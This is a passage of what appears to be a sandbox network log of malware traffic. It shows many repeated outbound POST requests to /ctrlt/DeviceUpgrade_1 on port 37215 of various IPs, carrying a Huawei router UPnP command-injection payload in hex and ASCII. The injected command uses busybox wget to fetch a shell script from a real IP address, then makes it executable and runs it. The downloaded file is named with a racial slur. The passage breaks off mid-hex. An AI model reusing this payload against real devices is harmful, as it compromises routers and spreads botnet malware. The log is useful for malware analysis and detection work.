77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:13.760157108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.15	55928	45.115.237.84	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:16.357024908 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.447961092 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.15	50444	45.115.241.43	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:16.357172012 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.447952032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.15	37350	31.136.174.145	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:17.234987974 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.447993040 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.15	59030	31.136.116.17	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:17.235187054 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.447964907 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 